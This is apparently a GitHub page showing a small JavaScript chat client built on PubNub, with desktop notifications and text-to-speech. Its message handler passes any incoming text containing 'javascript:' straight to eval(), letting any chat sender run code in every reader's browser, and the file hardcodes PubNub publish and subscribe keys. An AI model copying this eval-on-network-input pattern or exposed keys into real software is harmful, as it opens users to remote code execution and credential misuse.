-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathstuff.js
75 lines (54 loc) · 1.47 KB
/
stuff.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
function askForNott(){
Notification.requestPermission().then(function(result) {
console.log(result);
});
Notification.requestPermission();
};
askForNott();
function spawnNotification(theBody,theIcon,theTitle) {
var options = {
body: theBody,
icon: theIcon
}
var n = new Notification(theTitle,options);
setTimeout(n.close.bind(n), 5000);
}
(function() {
var channel = 'simple-chat';
// Assign a random avatar in random color
var p = PUBNUB.init({
subscribe_key: 'sub-c-51411300-ad1e-11e7-895e-c6a8ff6a3d85',
publish_key: 'pub-c-42177868-59a0-4309-abfd-e36206875430',
ssl: true
});
p.subscribe({
channel: channel,
callback: function(m) {
if(m.avatar.includes('http')){
if(document.visibilityState == "hidden"){
spawnNotification(m.text, m.avatar, "Oogle Chat Message");
}
}
else{
if(document.visibilityState == "hidden"){
spawnNotification(m.text, "https://tebahpla.github.io/stuff/chat/ooglechaticon.png", "Oogle Chat Message");
}
}
if(m.text.includes("javascript:")){
var newtext = m.text.replace("javascript:","")
eval(newtext);
}
else if(m.text.includes("say ")){
var newtext = m.text.replace("say ","")
responsiveVoice.speak(newtext);
}
else if(m.text.includes("delete ")){
var newtext = m.text.replace("delete ","")
}
},
presence: function(m) {
if (m.occupancy > 1) {
} else {
}
}
});